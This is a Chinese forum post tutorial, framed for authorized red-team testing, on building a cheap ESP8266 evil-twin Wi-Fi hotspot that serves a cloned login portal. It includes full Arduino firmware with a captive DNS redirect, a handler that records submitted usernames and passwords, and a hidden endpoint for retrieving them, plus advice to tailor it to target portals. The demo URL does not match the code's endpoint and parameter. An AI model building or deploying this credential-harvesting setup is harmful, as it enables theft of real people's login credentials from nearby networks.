电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1306 人浏览分享

近源渗透,超低成本打造自定义专属钓鱼WIFI

[复制链接]
1306 0
本帖最后由 zhaorong 于 2021-8-11 10:58 编辑

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

在企业安全设备越来越多 边境安全防护越做越好的情况下 钓鱼攻击已经逐渐成为
了红蓝对抗演练的主要方法而随着邮件服务器WAF等设备的更新以及企业人员安
全意识的逐步提高,针对邮件钓鱼攻击也有了更多的防范措施。

在攻防演习 授权测试过程中,近源渗透与钓鱼攻击的组合拳能达到出其不意的效果但行
为有时也太过明显--手持MBP在目标附近转悠,且有被直接抓获的风险。活捉成就达成
于是笔者制作了一款钓鱼WIFI 特点是小型且不易被发现信号范
围广 其次是成本低 可将其安装在目标附近。

制作准备

硬件

ESP8266(某宝10元左右)

QQ截图20210811104009.png

电源模块(可选)

QQ截图20210811104046.png

软件

Arduino 1.8.13及以上

软件配置

Arduino - 首选项 - 附加开发版管理网址,添加如下网址

http://arduino.esp8266.com/stable/package_esp8266com_index.json
https://raw.githubusercontent.com/SpacehuhnTech/arduino/main/package_spacehuhn_index.json

QQ截图20210811104246.png

2. Arduino - 工具 - 开发板 - 开发板管理器 输入"esp8266" 点击查找 选择
esp8266 by ESP8266 Community"安装下载时建议使用代理。

QQ截图20210811104404.png

3. 下载ESP8266FS 将esp8266fs.jar放入Arduino根目录下的tools文件夹,以MacOS为例 格式为 /Applicatio
ns/Arduino.app/Contents/Java/tools/ESP8266FS/tool/esp8266fs.jar

制作钓鱼网页

此处以某认证系统为例。

下载网页

QQ截图20210811104507.png

修改登录接口为pass,用户名密码为user, pass。

QQ截图20210811104538.png

刷写ESP8266固件

Arduino - 文件 - 新建,新建项目。

QQ截图20210811104617.png

Arduino - 工具,配置开发板信息如下 需要注意端口的配置。

999.png

此处笔者直接贴出代码 并对代码做了详细注解 希望读者们认真阅读 重点代码在于接受传来
的数据并存储的过程,能够举一反三。
  1. #include <ESP8266WiFi.h>
  2. #include <DNSServer.h>
  3. #include <ESP8266WebServer.h>
  4. #include <WiFiClient.h>
  5. #include <FS.h>

  6. // DNS默认端口,无需修改
  7. const byte DNS_PORT = 53;

  8. // WIFI名称
  9. const char *ssid = "HUBU-STUDENT-PRO";

  10. // AP的IP地址(即网关地址)
  11. IPAddress apIP(192, 168, 1, 1);

  12. // 查看存储密码的密码
  13. String ppassword = "t123061";

  14. DNSServer dnsServer;
  15. ESP8266WebServer webServer(80);

  16. // 存储账号密码
  17. String data = "";

  18. // 认证页面
  19. String responseHTML = "<html><head><meta http-equiv="refresh" content="1;U
  20. RL='http://192.168.1.1/index.html'"></head></html>";

  21. // 登录失败页面
  22. String responseHTML_error = "<html><head><meta http-equiv="refresh" content="5;UR
  23. L='http://192.168.1.1/index.html'"><h3>没有找到符合条件的策略,5秒后返回</h3></head></html>";

  24. String getContentType(String filename){
  25.   if(webServer.hasArg("download")) return "application/octet-stream";
  26.   else if(filename.endsWith(".htm")) return "text/html";
  27.   else if(filename.endsWith(".html")) return "text/html";
  28.   else if(filename.endsWith(".css")) return "text/css";
  29.   else if(filename.endsWith(".js")) return "application/javascript";
  30.   else if(filename.endsWith(".png")) return "image/png";
  31.   else if(filename.endsWith(".gif")) return "image/gif";
  32.   else if(filename.endsWith(".jpg")) return "image/jpeg";
  33.   else if(filename.endsWith(".ico")) return "image/x-icon";
  34.   else if(filename.endsWith(".xml")) return "text/xml";
  35.   else if(filename.endsWith(".pdf")) return "application/x-pdf";
  36.   else if(filename.endsWith(".zip")) return "application/x-zip";
  37.   else if(filename.endsWith(".gz")) return "application/x-gzip";
  38.   return "text/plain";
  39. }


  40. // 查看存储的账号和密码
  41. void paw(){
  42.   if(webServer.arg("key")==ppassword){
  43.     webServer.send(200, "text/plain", data);
  44.   }else{
  45.     webServer.send(200, "text/html", responseHTML);
  46.   }
  47. }

  48. // 记录从钓鱼界面传过来的账号和密码
  49. void pass(){
  50.   if(webServer.arg("user") != "" && webServer.arg("pass") != ""){
  51.     data += "username:";
  52.     data += webServer.arg("user");
  53.     data += "----password:";
  54.     data += webServer.arg("pass");
  55.     data += "\r\n";
  56.     webServer.send(200, "text/html", responseHTML_error);
  57.   }
  58. }


  59. void background() {
  60.   File file = SPIFFS.open("/background.jpg", "r");
  61.   size_t sent = webServer.streamFile(file, "image/jpeg");
  62.   file.close();
  63.   return;
  64. }
  65. void bootstrap() {
  66.   File file = SPIFFS.open("/bootstrap.css", "r");
  67.   size_t sent = webServer.streamFile(file, "text/css");
  68.   file.close();
  69.   return;
  70. }
  71. void logo_r() {
  72.   File file = SPIFFS.open("/logo.png", "r");
  73.   size_t sent = webServer.streamFile(file, "image/png");
  74.   file.close();
  75.   return;
  76. }
  77. void favicon() {
  78.   File file = SPIFFS.open("/favicon.ico", "r");
  79.   size_t sent = webServer.streamFile(file, "image/x-icon");
  80.   file.close();
  81.   return;
  82. }
  83. void main_r() {
  84.   File file = SPIFFS.open("/main.css", "r");
  85.   size_t sent = webServer.streamFile(file, "text/css");
  86.   file.close();
  87.   return;
  88. }
  89. void middle_r() {
  90.   File file = SPIFFS.open("/middle.png", "r");
  91.   size_t sent = webServer.streamFile(file, "image/png");
  92.   file.close();
  93.   return;
  94. }
  95. void uname_r() {
  96.   File file = SPIFFS.open("/uname.png", "r");
  97.   size_t sent = webServer.streamFile(file, "image/png");
  98.   file.close();
  99.   return;
  100. }
  101. void upwd_r() {
  102.   File file = SPIFFS.open("/upwd.png", "r");
  103.   size_t sent = webServer.streamFile(file, "image/png");
  104.   file.close();
  105.   return;
  106. }
  107. void index_r(){
  108.   File file = SPIFFS.open("/index.html", "r");
  109.   size_t sent = webServer.streamFile(file, "text/html");
  110.   file.close();
  111.   return;
  112. }

  113. // 首页
  114. void handleRoot() {
  115.   File file = SPIFFS.open("/index.html", "r");
  116.   size_t sent = webServer.streamFile(file, "text/html");
  117.   file.close();
  118.   return;
  119. }

  120. void setup() {
  121.   // WIFI配置
  122.   Serial.begin(9600);
  123.   SPIFFS.begin();
  124.   WiFi.mode(WIFI_AP);
  125.   WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
  126.   WiFi.softAP(ssid);

  127.   // DNS配置
  128.   dnsServer.start(DNS_PORT, "*", apIP);

  129.   // 配置404网页为首页
  130.   webServer.onNotFound([]() {
  131.     webServer.send(200, "text/html", responseHTML);
  132.   });

  133.   // 配置查看密码网页
  134.   webServer.on ("/key518", HTTP_GET, paw);
  135.   webServer.on("/", handleRoot);

  136.   // 配置登录接口
  137.   webServer.on("/pass", HTTP_GET, pass);

  138. webServer.on("/background.jpg", background);
  139. webServer.on("/bootstrap.css", bootstrap);
  140. webServer.on("/logo.png", logo_r);
  141. webServer.on("favicon.ico", favicon);
  142. webServer.on("/main.css", main_r);
  143. webServer.on("/middle.png", middle_r);
  144. webServer.on("/uname.png", uname_r);
  145. webServer.on("/upwd.png", upwd_r);

  146.   webServer.on("/index.html", index_r);
  147.   webServer.begin();
  148. }

  149. void loop() {
  150.   dnsServer.processNextRequest();
  151.   webServer.handleClient();
  152. }
复制代码

保存项目 会自动生成一个文件夹存储代码文件 根据步骤3配置好开发板与端口后 点击编译上传,等待上传成功。

998.png

在项目目录下新建data目录,将前端文件放入,然后使用ESP8266FS工具上传

997.png

996.png

到此制作已经全部完成

成品演示

连接WiFi

993.png

连接WiFi后自动弹出认证界面 输入用户密码test/test

点击登录后跳转到预置的登录失败界面

992.png

访问预置网址 http://192.168.1.1/key514?pass=t123061,收网

990.png

示例代码

https://github.com/piaolin/ProximalPhishing(仅供学习参考使用)

后记

文章中以某认证系统为例 在实际测试中 只需要下载目标认证界面修改
或自行编写界面,即可达到超低成本钓鱼效果。
经过不严谨的测试空地WiFi范围可达200m左右。
同时读者们可举一反三 对钓鱼方法及代码进行更加针对性的改动 此处不做过多赘述。
账号密码存储可写入存储而非内存 断电清空。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.